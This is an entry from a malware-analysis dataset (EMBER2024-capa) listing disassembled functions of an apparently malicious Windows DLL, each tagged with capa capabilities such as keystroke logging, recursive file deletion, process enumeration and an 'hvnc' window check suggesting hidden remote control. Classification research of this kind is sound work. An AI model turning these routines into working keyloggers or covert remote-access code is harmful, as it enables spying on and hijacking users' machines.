joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001ca1c
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 0x18], r8
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x57]
sub rsp, 0x100
lea r15, [rcx + 0x88]
mov r13, rcx
xor edi, edi
mov rcx, r15
mov r12, r9
mov rsi, rdx
mov r14d, edi
call fcn.18001c050
test eax, eax
je 0x18001cac1
mov rcx, rsi
call fcn.18001c134
test eax, eax
je 0x18001cac1
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x3c
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowInfo]
mov eax, dword [rbp - 0x7d]
and eax, 0xf
cmp al, 7
jne 0x18001caeb
mov rcx, rsi
call fcn.18001b9e4
cmp eax, 0x3daaa90b
jne 0x18001caeb
mov r8d, 0x80
lea rdx, [rbp - 0x51]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
jne 0x18001cae4
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, 1
jmp 0x18001cac3
mov rbx, qword [rbp + 0x7f]
mov eax, dword [rbx]
cmp dword [rsp + 0x3c], eax
jle 0x18001cac1
mov eax, dword [rbx + 8]
cmp dword [rsp + 0x34], eax
jge 0x18001cac1
mov eax, dword [rbx + 4]
cmp dword [rsp + 0x40], eax
jle 0x18001cac1
mov eax, dword [rbx + 0xc]
cmp dword [rsp + 0x38], eax
jge 0x18001cac1
call fcn.18000add8
cmp eax, 5
jbe 0x18001cb32
cmp dword [rbx + 0x58], edi
jne 0x18001cb32
mov rdx, rsi
mov rcx, r15
call fcn.18001bb64
bt eax, 0xf
jae 0x18001cae4
movups xmm0, xmmword [rsp + 0x34]
mov rdx, rsi
mov rcx, r15
movdqu xmmword [rbp - 0x61], xmm0
call fcn.18001bb64
mov edx, 0xffffffe6
mov rcx, rsi
mov r15d, eax
call qword [sym.imp.USER32.dll_GetClassLongPtrA]
test al, 0xc0
jne 0x18001cb7c
test r15d, 0x6040
jne 0x18001cb7c
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call fcn.18001d384
test eax, eax
jne 0x18001cb96
jmp 0x18001cac1
lea r9, [rbp - 0x61]
mov dword [rsp + 0x20], 1
mov r8, r12
mov rdx, rsi
mov rcx, r13
call fcn.18001c8d8
mov ecx, dword [rbx + 0xc]
cmp dword [rsp + 0x40], ecx
jle 0x18001cbb7
add ecx, 0xfffffffe
mov dword [rsp + 0x40], ecx
cmp dword [rbx + 0x18], edi
je 0x18001cbb7
mov eax, dword [rbx + 0x20]
sub eax, dword [rbx + 0x28]
add ecx, eax
mov dword [rsp + 0x40], ecx
mov eax, dword [rbx + 4]
cmp dword [rsp + 0x38], eax
jge 0x18001cbd3
mov r14d, eax
sub r14d, dword [rsp + 0x38]
add r14d, 2
add eax, 2
mov dword [rsp + 0x38], eax
mov ecx, dword [rbx + 8]
cmp dword [rsp + 0x3c], ecx
jle 0x18001cbf4
add ecx, 0xfffffffe
mov dword [rsp + 0x3c], ecx
cmp dword [rbx + 0x18], edi
je 0x18001cbf4
mov eax, dword [rbx + 0x2c]
sub eax, dword [rbx + 0x34]
add ecx, eax
mov dword [rsp + 0x3c], ecx
mov eax, dword [rbx]
cmp dword [rsp + 0x34], eax
jge 0x18001cc0c
mov edi, eax
sub edi, dword [rsp + 0x34]
add edi, 2
add eax, 2
mov dword [rsp + 0x34], eax
movups xmm0, xmmword [rsp + 0x34]
mov rdx, qword [rbp + 0x6f]
lea r9, [rbp - 0x61]
mov dword [rsp + 0x28], r14d
mov r8, r12
mov rcx, rsi
mov dword [rsp + 0x20], edi
movdqu xmmword [rbp - 0x61], xmm0
call fcn.18001cc38
jmp 0x18001cae4
Function at 0x18001d428
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
xor r8d, r8d
xor ecx, ecx
xor edx, edx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbx + 0x768], rax
test rax, rax
je 0x18001d495
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x760], rax
test rax, rax
je 0x18001d495
and qword [rsp + 0x28], rdi
lea r8, [0x18001d578]
and dword [rsp + 0x20], edi
mov r9, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x758], rax
test rax, rax
jne 0x18001d4d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
je 0x18001d4d5
mov rcx, qword [rbx + 0x760]
test rcx, rcx
je 0x18001d4bb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x760], 0
mov rcx, qword [rbx + 0x768]
test rcx, rcx
je 0x18001d4d5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x768], 0
mov eax, edi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18001f550
Capabilities:
Get common file path

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x240
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x230], rbx
mov r15, rcx
mov qword [rbp + 0x238], rsi
xor ecx, ecx
xor edx, edx
mov qword [rbp + 0x240], rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor esi, esi
mov ebx, eax
test eax, eax
je 0x18001f67d
mov rcx, qword [0x180035658]
lea r14d, [rax + 1]
mov r8d, r14d
xor edx, edx
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18001f67d
mov rdx, rax
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, ebx
ja 0x18001f66b
lea rdx, [0x18002a1c0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r14, [r15 + 0x774]
test r14, r14
je 0x18001f63e
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r8d, [rax + 1]
lea ecx, [r8 + r8]
movsxd rdx, ecx
lea rax, [rdx + 0xf]
cmp rax, rdx
ja 0x18001f60c
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.18000a4a0
sub rsp, rax
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r8d
lea rbx, [rsp + 0x30]
mov r8, r14
mov word [rbx], si
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x18002a468]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor r8d, r8d
lea rdx, [rbp]
mov rcx, rdi
call fcn.18001fda0
mov rcx, qword [0x180035658]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r15
call fcn.180016f88
mov rbx, qword [rbp + 0x230]
mov rsi, qword [rbp + 0x238]
mov rdi, qword [rbp + 0x240]
lea rsp, [rbp + 0x210]
pop r15
pop r14
pop rbp
ret
Function at 0x18001fda0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x270
mov rdi, rdx
mov rsi, rcx
mov ebp, 0x250
lea rcx, [rsp + 0x20]
mov r8d, ebp
xor edx, edx
call sub.ntdll.dll_memset
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [0x180035658]
xor edx, edx
add ebx, eax
lea r8d, [rbx*2 + 4]
add r8, 0x208
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x18001ff78
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x18002a1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8d, ebp
lea rcx, [rsp + 0x20]
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x18001ff78
xor edi, edi
lea rdx, [0x18002b4dc]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x18001ff12
lea rdx, [0x18002b4e0]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x18001ff12
test byte [rsp + 0x20], 0x10
mov rdx, rsi
mov rcx, rbx
je 0x18001fedf
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x18002a1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x4c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8d, 1
lea rdx, [0x18002a468]
mov rcx, rbx
call fcn.18001fda0
jmp 0x18001ff0c
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x18002a1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x4c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x18001ff12
inc edi
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x18001fe67
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x18002a1c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [rsp + 0x298]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x250
call sub.ntdll.dll_memset
test edi, edi
jne 0x18001fe4a
cmp dword [rsp + 0x2a0], 0
je 0x18001ff8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x18001ff92
mov eax, 1
mov rbx, qword [rsp + 0x290]
add rsp, 0x270
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001ffa8
Capabilities:
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
sub rsp, 0x280
mov rbx, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x250
call sub.ntdll.dll_memset
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [0x180035658]
xor edx, edx
mov dword [rsp + 0x20], eax
lea r8d, [rax + 0x104]
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x18002000f
lea ebx, [rax + 8]
jmp 0x1800201a6
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x18002b4a8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [0x180035658]
xor edx, edx
mov dword [rsp + 0x24], eax
lea r8d, [rax + 0x104]
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor esi, esi
mov rbp, rax
test rax, rax
jne 0x180020063
lea ebx, [rax + 8]
jmp 0x180020194
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x180020091
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0xb7
jne 0x180020194
lea rdx, [rsp + 0x30]
mov rcx, rdi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800200b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180020194
mov edx, 0x5c
xor ecx, ecx
test byte [rsp + 0x30], 0x10
je 0x1800200ec
cmp word [rsp + 0x5c], 0x2e
jne 0x1800200ec
movzx eax, word [rsp + 0x5e]
test ax, ax
je 0x180020170
cmp ax, 0x2e
jne 0x1800200ec
cmp word [rsp + 0x60], cx
je 0x180020170
mov ecx, dword [rsp + 0x20]
mov word [rdi + rcx*2], dx
lea eax, [rcx + 1]
lea rcx, [rdi + rax*2]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [rsp + 0x24]
mov edx, 0x5c
mov word [rbp + rcx*2], dx
lea eax, [rcx + 1]
lea rcx, [rax*2]
add rcx, rbp
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
test byte [rsp + 0x30], 0x10
mov rdx, rbp
mov r9d, dword [rsp + 0x2b8]
mov rcx, rdi
mov r8, qword [rsp + 0x2b0]
je 0x180020157
call fcn.18001ffa8
mov ebx, eax
test eax, eax
jne 0x18002018b
jmp 0x180020170
call fcn.180020324
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x180020170
cmp ebx, 0x20
je 0x18002016e
cmp ebx, 5
jne 0x18002018b
mov ebx, eax
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
xor ecx, ecx
lea edx, [rcx + 0x5c]
test eax, eax
jne 0x1800200be
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [0x180035658]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800201bc
Capabilities:
Clear file content
Delete file
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov r12, rdx
mov r14, r8
xor edx, edx
mov rdi, rcx
lea rcx, [rbp + 0xf]
mov r15d, r9d
lea r8d, [rdx + 0x34]
call sub.ntdll.dll_memset
and dword [rbp - 1], 0
lea rdx, [rbp + 0xf]
xor eax, eax
mov rcx, rdi
and dword [rbp + 7], eax
xor ebx, ebx
and dword [rbp - 9], eax
and dword [rbp - 5], eax
mov dword [rbp + 3], eax
mov dword [rbp + 0xb], eax
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
and qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x120116
mov dword [rsp + 0x20], 2
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18002025b
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180020303
mov rdx, qword [rbp - 1]
lea r8, [rbp - 1]
mov r9d, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov rdx, qword [rbp + 7]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x1800202a6
and qword [rsp + 0x20], rbx
lea r9, [rbp - 5]
mov r8d, eax
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800202c7
and dword [rbp - 9], ebx
and qword [rsp + 0x20], rbx
lea r9, [rbp - 9]
mov r8d, r15d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp - 9]
test eax, eax
jne 0x180020287
jmp 0x1800202cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rdx, qword [rbp - 1]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x180020301
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, ebx
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180020764
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x260
xor edi, edi
mov r15, rcx
xor edx, edx
mov esi, edi
lea ecx, [rdi + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1800207a0
xor eax, eax
jmp 0x180020870
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rbp
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x180020864
mov rdx, r15
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x18002084c
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0xc50
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x180020803
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x450
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x18002084c
mov rcx, rsi
call fcn.180004634
mov r14, rax
test rax, rax
je 0x180020840
lea rdx, str.Winsta0Default
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, qword [0x180035658]
mov ebx, edi
test eax, eax
mov r8, r14
sete bl
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
jne 0x180020861
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rdi
lea rdx, [rsp + 0x20]
mov rcx, rbp
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1800207bd
mov rdi, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x180021158
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r15d, r15d
mov rdi, r8
and dword [rsp + 0x50], r15d
movzx r13d, dx
mov rbx, rcx
test rcx, rcx
je 0x1800211ae
mov rdx, rcx
movzx ecx, r13w
call qword [sym.imp.USER32.dll_VkKeyScanExW]
cmp ax, 0xffff
je 0x1800211ae
test rdi, rdi
je 0x1800211a6
mov word [rdi], ax
mov rax, rbx
jmp 0x180021245
xor esi, esi
cmp dword [0x180035ec0], esi
jle 0x180021242
lea r14, [0x180035ee0]
mov rdx, qword [r14]
movzx ecx, r13w
call qword [sym.imp.USER32.dll_VkKeyScanExW]
movzx r12d, ax
cmp ax, 0xffff
je 0x180021234
xor ebp, ebp
xor ebx, ebx
cmp dword [0x180035ec0], ebx
jle 0x18002122d
lea rax, [0x180035ee0]
movzx edx, r13w
mov r8, qword [rax + rbx*8]
movzx ecx, r12w
call fcn.180021050
test eax, eax
jne 0x180021211
inc ebp
inc rbx
cmp ebp, dword [0x180035ec0]
jl 0x1800211e6
jmp 0x18002122d
mov dword [rsp + 0x50], 1
test rdi, rdi
je 0x180021222
mov word [rdi], r12w
lea rax, [0x180035ee0]
mov r15, qword [rax + rbx*8]
cmp dword [rsp + 0x50], 0
jne 0x180021242
inc esi
add r14, 8
cmp esi, dword [0x180035ec0]
jl 0x1800211c3
mov rax, r15
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180021a58
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x130
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x100
call sub.ntdll.dll_memset
xor edi, edi
lea rsi, [0x1800358b0]
lea rbx, [0x1800343a0]
mov cl, byte [rbx]
call qword [sym.imp.USER32.dll_VkKeyScanA]
cmp ax, 0xffff
je 0x180021b0c
and dword [rsp + 0x20], 0
lea r9, [rsp + 0x140]
movsx rdx, ax
lea r8, [rsp + 0x30]
shr rdx, 8
mov cl, dl
movzx ebp, al
shl cl, 7
mov byte [rsp + 0x40], cl
mov cl, dl
and cl, 0xfe
and dl, 0xfc
shl cl, 6
shl dl, 5
mov byte [rsp + 0x41], cl
mov ecx, ebp
mov byte [rsp + 0x42], dl
xor edx, edx
call qword [sym.imp.USER32.dll_ToAscii]
test eax, eax
jns 0x180021b0c
mov al, byte [rbx]
lea r9, [rsp + 0x140]
and dword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
mov byte [rsi], al
xor edx, edx
inc rsi
mov ecx, ebp
call qword [sym.imp.USER32.dll_ToAscii]
inc edi
inc rbx
cmp edi, 7
jb 0x180021a91
lea rdx, [0x180035ee0]
mov ecx, 0x28
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
lea r11, [rsp + 0x130]
mov dword [0x180035ec0], eax
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180022150
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xf0
xor ebx, ebx
mov rdi, rdx
cmp dword [rcx + 0x1d8], ebx
je 0x1800221b3
test dword [rcx + 0xb8], 0x400
jne 0x1800221b3
mov rcx, rdx
call fcn.18001b9e4
cmp eax, 0x1ba347ca
jne 0x1800221b3
mov r8d, 0xc8
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rdx, str.hvnc
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
lea ecx, [rbx + 1]
cmove ebx, ecx
mov eax, ebx
mov rbx, qword [rsp + 0x100]
add rsp, 0xf0
pop rdi
ret
Function at 0x1800225bc
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
xor esi, esi
mov rbx, rcx
cmp dword [rcx + 0x1dc], esi
je 0x1800225df
xor eax, eax
jmp 0x1800226e5
test dword [rcx + 0xb8], 0x1000
jne 0x18002264a
add rcx, 0x1a8
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
test byte [rbx + 0xb8], 0x10
jne 0x18002264a
mov rcx, qword [rbx + 0xd8]
mov edx, 5
call qword [sym.imp.USER32.dll_GetWindow]
mov rcx, rax
mov edx, 1
jmp 0x18002262d
mov rdx, rdi
call fcn.180021b4c
mov edx, 3
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindow]
mov rdi, rax
mov rcx, rbx
test rax, rax
jne 0x18002261d
mov rdx, qword [rbx + 0xe8]
call fcn.18001c170
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x208], rax
test rax, rax
jne 0x18002266e
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800226e5
lea rax, [rbx + 0x1f8]
mov r9, rbx
mov qword [rsp + 0x28], rax
lea r8, [0x180022764]
and dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x200], rax
test rax, rax
jne 0x1800226bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbx + 0x208]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x208], 0
jmp 0x1800226e3
mov rcx, qword [rbx + 0x208]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rbx + 0x208], rsi
mov eax, esi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x180022ac8
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rax, qword [0x180035930]
xor ebx, ebx
mov r14, r8
mov r15, rdx
mov rbp, rcx
test rax, rax
je 0x180022afe
call rax
jmp 0x180022ba2
mov r8d, dword [0x18003550c]
mov rdi, rbx
mov rsi, rbx
test r8d, r8d
je 0x180022b98
mov rdx, qword [0x180035960]
test rdx, rdx
je 0x180022b98
lea r9, [0x18003550c]
mov ecx, 8
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jne 0x180022b98
mov ecx, dword [0x18003550c]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 5
movsxd rcx, edx
test edx, edx
jle 0x180022b77
mov rax, qword [0x180035960]
mov rdx, rcx
add rax, 0x10
add rbx, qword [rax - 0x10]
add rdi, qword [rax - 8]
add rsi, qword [rax]
lea rax, [rax + 0x30]
sub rdx, 1
jne 0x180022b62
mov rax, rbx
cqo
idiv rcx
mov rbx, rax
mov rax, rdi
cqo
idiv rcx
mov rdi, rax
mov rax, rsi
cqo
idiv rcx
mov rsi, rax
mov qword [rbp], rbx
mov qword [r15], rdi
mov qword [r14], rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x180022e70
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x28
lea rcx, [0x180035938]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x180028ba8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x180035970], rax
test rax, rax
je 0x180022eb3
lea rdx, str.GetSystemTimes
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180035930], rax
jmp 0x180022eba
mov rax, qword [0x180035930]
test rax, rax
jne 0x180022ef1
lea r9, [0x18003550c]
xor r8d, r8d
xor edx, edx
lea ecx, [rax + 2]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r8d, dword [0x18003550c]
xor edx, edx
mov rcx, qword [0x180035658]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [0x180035960], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1800358c0], eax
add rsp, 0x28
ret

Function at 0x1800233c0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x160], 0
mov rbx, rcx
jne 0x1800233fe
lea rax, [rcx + 0x170]
mov r9, rcx
mov qword [rsp + 0x28], rax
lea r8, [0x180023940]
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x168], rax
add rsp, 0x30
pop rbx
ret